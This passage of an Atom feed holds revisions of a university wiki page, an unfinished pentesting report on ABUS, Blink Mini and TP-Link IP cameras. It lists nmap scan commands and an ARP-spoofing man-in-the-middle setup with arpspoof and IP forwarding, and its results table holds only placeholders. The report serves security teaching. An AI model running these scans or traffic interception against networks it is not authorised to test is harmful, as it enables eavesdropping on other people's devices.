		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10306"/>
		<updated>2022-07-13T12:55:50Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Article is a comprehensive descirption of a pentesting process regarding three IP Cameras ABUS PPIC32020, Blink-Mini and TP-Link NC200. In the further course of this Report the Methology of the Information Gathering Process will be pointed out, afterwards the gathered information will be analysed. With the analysis of the gathered information vulnerabilities will be pointed out. We will form attack vectors, exploit this vulnerabilites and recommend countermesaures for the vendors to make their systems more secure.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
In order to perform the Exploits the following tools were needed. &lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Operating System:&amp;lt;/b&amp;gt;&lt;br /&gt;
** Kali Linux 2022.2&lt;br /&gt;
* &amp;lt;b&amp;gt;Tools:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://nmap.org/man/de/index.html NMAP]&lt;br /&gt;
** [https://www.wireshark.org/ Wireshark]&lt;br /&gt;
** [https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/ Mount a Man in the Middle Attack (MitM)]&lt;br /&gt;
* &amp;lt;b&amp;gt;Cameras:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera ABUS PPIC32020]&lt;br /&gt;
** [https://www.amazon.de/wir-prasentieren-blink-mini-eine-kompakte-intelligente-plug-in-uberwachungskamera-fur-den-innenbereich-mit-1080p-hd-video-und-bewegungserkennung-die-mit-alexa-funktioniert/dp/B07X37DT9M Blink Mini]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In this chapter, we will demonstrate how we were able to extract information about the target devices, form attack vectors and exploit them afterwards.&lt;br /&gt;
&lt;br /&gt;
=== Methodology ===&lt;br /&gt;
&lt;br /&gt;
==== Step 1: NMAP ====&lt;br /&gt;
&lt;br /&gt;
We used NMAP to gather as much information as possible about the target systems. This includes IP Addresses, open Ports, Operating Systems, Services and many more. This part is crucial to gain a better understanding of how the camera works and is neccessary to perform sophisticated attacks to extract information or gain access.&lt;br /&gt;
&lt;br /&gt;
Nmap (Network Mapper) is a network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich).[4] Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.[5]&lt;br /&gt;
&lt;br /&gt;
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection,[6] vulnerability detection,[6] and other features. Nmap can adapt to network conditions including latency and congestion during a scan. [https://en.wikipedia.org/wiki/Nmap [1]]&lt;br /&gt;
&lt;br /&gt;
To gather information about the target systems we used the following commands:&lt;br /&gt;
&lt;br /&gt;
 nmap -sP [Network Address/Subnetmask]                Network Scan --&amp;gt; To discover the IP addresses of the target system inside the LAN&lt;br /&gt;
 nmap -sS -F [IP Address]                             TCP-SYN-Port-Scan (Host-Fast-Scan) --&amp;gt; Discovers open ports on target system&lt;br /&gt;
 nmap -sV [IP Address]                                Service Scan --&amp;gt; To discover the services listening on the open ports&lt;br /&gt;
 nmap -O [IP Address]                                 Operating System Scan --&amp;gt; Guesses the Operating System running on target host (Based on OS Fingerprints)&lt;br /&gt;
 nmap -Pn -sV --script vuln [IP Address]              Discovers possible vulnerabilities based on already known exploits for the specific service&lt;br /&gt;
&lt;br /&gt;
==== Step 2: Man in the Middle (MitM) ====&lt;br /&gt;
&lt;br /&gt;
In order to get a better understanding of how the architecture of the service provided by the IP Cameras works, we mounted a Man in the Middle Attack to gain information about how and where the camera connects to and how it deliveres their service to the endpoints (in our case the ABUS Camera used a [https://mobil.abus.com/de/Service/Service-Mediathek/ABUS-Apps Smartphone App] to connect and configure the camera and the two other used Web Services). To mount the MitM attack we utilized ARP Spoofing which can easily be done with the arpspoof command.&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i [Your network interface] -t [Target IP] [The IP you pretend to be]&lt;br /&gt;
&lt;br /&gt;
In order to be able to completely execute the MitM attack, you need to enable IP forwarding otherwise the packets would be sent to you but would never arrive at their destination. To do this, enter the following command:&lt;br /&gt;
&lt;br /&gt;
 sysctl -w net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
If the attack was mounted correctly, you should be able to capture the traffic between the two endpoints you mounted the attack (e.g. with Wireshark).&lt;br /&gt;
&lt;br /&gt;
In our case, we mounted two MitM attacks, the first one between the camera and the gateway, the second one between the smartphone or endpoint and the gateway to understand fully where and how the service connects to to provide its capabilities.&lt;br /&gt;
&lt;br /&gt;
==== Step 3: Reverse DNS Lookup &amp;amp; Geo Locator ====&lt;br /&gt;
&lt;br /&gt;
When viewing the captured traffic we stumbled over a lot of remote IP Addresses where the communication takes place. Therefore, we wanted to know the Domain of the Webservice the Camera is communicating with. To achieve this, we used the following, free to use, tools:&lt;br /&gt;
&lt;br /&gt;
* [https://mxtoolbox.com/ReverseLookup.aspx Reverse DNS Lookup]&lt;br /&gt;
* [https://www.iplocation.net/ Geo Locator of IP Addresses]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Step 4: Look through the, open source, firmware of the cameras (if available) ====&lt;br /&gt;
&lt;br /&gt;
To finish our research we searched for any open and available firmware packages of any of the given cameras provided by the manifacturer. &lt;br /&gt;
&lt;br /&gt;
Firmware: &lt;br /&gt;
&lt;br /&gt;
* [https://support.abus-sc.com/knowledge-base/aktuelle-firmware-software-apps-und-hilfs-programme/ ABUS PPIC32020]&lt;br /&gt;
* [https://www.tp-link.com/at/support/download/nc200/#Firmware TP-Link NC200]&lt;br /&gt;
* Blink Mini (no open and accessible firmware found)&lt;br /&gt;
&lt;br /&gt;
=== Gathered Information === &lt;br /&gt;
&lt;br /&gt;
==== NMAP ==== &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin:auto&amp;quot;&lt;br /&gt;
|+ NMAP Information&lt;br /&gt;
|-&lt;br /&gt;
! Header &amp;lt;b&amp;gt;NMAP Command&amp;lt;/b&amp;gt;!! Header &amp;lt;b&amp;gt;ABUS PPIC32020&amp;lt;/b&amp;gt; !! Header &amp;lt;b&amp;gt;TP-Link NC200&amp;lt;/b&amp;gt; !! Header &amp;lt;b&amp;gt;Blink Mini&amp;lt;/b&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Port Scan || Example || Example || Example&lt;br /&gt;
|-&lt;br /&gt;
| OS Scan || Example || Example || Example&lt;br /&gt;
|-&lt;br /&gt;
| Vulnerability Scan || Example || Example || Example&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10305</id>
		<title>IP Cameras Pentesting Report</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10305"/>
		<updated>2022-07-13T12:48:29Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Article is a comprehensive descirption of a pentesting process regarding three IP Cameras ABUS PPIC32020, Blink-Mini and TP-Link NC200. In the further course of this Report the Methology of the Information Gathering Process will be pointed out, afterwards the gathered information will be analysed. With the analysis of the gathered information vulnerabilities will be pointed out. We will form attack vectors, exploit this vulnerabilites and recommend countermesaures for the vendors to make their systems more secure.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
In order to perform the Exploits the following tools were needed. &lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Operating System:&amp;lt;/b&amp;gt;&lt;br /&gt;
** Kali Linux 2022.2&lt;br /&gt;
* &amp;lt;b&amp;gt;Tools:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://nmap.org/man/de/index.html NMAP]&lt;br /&gt;
** [https://www.wireshark.org/ Wireshark]&lt;br /&gt;
** [https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/ Mount a Man in the Middle Attack (MitM)]&lt;br /&gt;
* &amp;lt;b&amp;gt;Cameras:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera ABUS PPIC32020]&lt;br /&gt;
** [https://www.amazon.de/wir-prasentieren-blink-mini-eine-kompakte-intelligente-plug-in-uberwachungskamera-fur-den-innenbereich-mit-1080p-hd-video-und-bewegungserkennung-die-mit-alexa-funktioniert/dp/B07X37DT9M Blink Mini]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In this chapter, we will demonstrate how we were able to extract information about the target devices, form attack vectors and exploit them afterwards.&lt;br /&gt;
&lt;br /&gt;
=== Methodology ===&lt;br /&gt;
&lt;br /&gt;
==== Step 1: NMAP ====&lt;br /&gt;
&lt;br /&gt;
We used NMAP to gather as much information as possible about the target systems. This includes IP Addresses, open Ports, Operating Systems, Services and many more. This part is crucial to gain a better understanding of how the camera works and is neccessary to perform sophisticated attacks to extract information or gain access.&lt;br /&gt;
&lt;br /&gt;
Nmap (Network Mapper) is a network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich).[4] Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.[5]&lt;br /&gt;
&lt;br /&gt;
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection,[6] vulnerability detection,[6] and other features. Nmap can adapt to network conditions including latency and congestion during a scan. [https://en.wikipedia.org/wiki/Nmap [1]]&lt;br /&gt;
&lt;br /&gt;
To gather information about the target systems we used the following commands:&lt;br /&gt;
&lt;br /&gt;
 nmap -sP [Network Address/Subnetmask]                Network Scan --&amp;gt; To discover the IP addresses of the target system inside the LAN&lt;br /&gt;
 nmap -sS -F [IP Address]                             TCP-SYN-Port-Scan (Host-Fast-Scan) --&amp;gt; Discovers open ports on target system&lt;br /&gt;
 nmap -sV [IP Address]                                Service Scan --&amp;gt; To discover the services listening on the open ports&lt;br /&gt;
 nmap -O [IP Address]                                 Operating System Scan --&amp;gt; Guesses the Operating System running on target host (Based on OS Fingerprints)&lt;br /&gt;
 nmap -Pn -sV --script vuln [IP Address]              Discovers possible vulnerabilities based on already known exploits for the specific service&lt;br /&gt;
&lt;br /&gt;
==== Step 2: Man in the Middle (MitM) ====&lt;br /&gt;
&lt;br /&gt;
In order to get a better understanding of how the architecture of the service provided by the IP Cameras works, we mounted a Man in the Middle Attack to gain information about how and where the camera connects to and how it deliveres their service to the endpoints (in our case the ABUS Camera used a [https://mobil.abus.com/de/Service/Service-Mediathek/ABUS-Apps Smartphone App] to connect and configure the camera and the two other used Web Services). To mount the MitM attack we utilized ARP Spoofing which can easily be done with the arpspoof command.&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i [Your network interface] -t [Target IP] [The IP you pretend to be]&lt;br /&gt;
&lt;br /&gt;
In order to be able to completely execute the MitM attack, you need to enable IP forwarding otherwise the packets would be sent to you but would never arrive at their destination. To do this, enter the following command:&lt;br /&gt;
&lt;br /&gt;
 sysctl -w net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
If the attack was mounted correctly, you should be able to capture the traffic between the two endpoints you mounted the attack (e.g. with Wireshark).&lt;br /&gt;
&lt;br /&gt;
In our case, we mounted two MitM attacks, the first one between the camera and the gateway, the second one between the smartphone or endpoint and the gateway to understand fully where and how the service connects to to provide its capabilities.&lt;br /&gt;
&lt;br /&gt;
==== Step 3: Reverse DNS Lookup &amp;amp; Geo Locator ====&lt;br /&gt;
&lt;br /&gt;
When viewing the captured traffic we stumbled over a lot of remote IP Addresses where the communication takes place. Therefore, we wanted to know the Domain of the Webservice the Camera is communicating with. To achieve this, we used the following, free to use, tools:&lt;br /&gt;
&lt;br /&gt;
* [https://mxtoolbox.com/ReverseLookup.aspx Reverse DNS Lookup]&lt;br /&gt;
* [https://www.iplocation.net/ Geo Locator of IP Addresses]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Step 4: Look through the, open source, firmware of the cameras (if available) ====&lt;br /&gt;
&lt;br /&gt;
To finish our research we searched for any open and available firmware packages of any of the given cameras provided by the manifacturer. &lt;br /&gt;
&lt;br /&gt;
Firmware: &lt;br /&gt;
&lt;br /&gt;
* [https://support.abus-sc.com/knowledge-base/aktuelle-firmware-software-apps-und-hilfs-programme/ ABUS PPIC32020]&lt;br /&gt;
* [https://www.tp-link.com/at/support/download/nc200/#Firmware TP-Link NC200]&lt;br /&gt;
* Blink Mini (no open and accessible firmware found)&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10304</id>
		<title>IP Cameras Pentesting Report</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10304"/>
		<updated>2022-07-13T10:25:14Z</updated>

		<summary type="html">&lt;p&gt;JKasser: Created page with &amp;quot;lkhg&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;lkhg&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
</feed>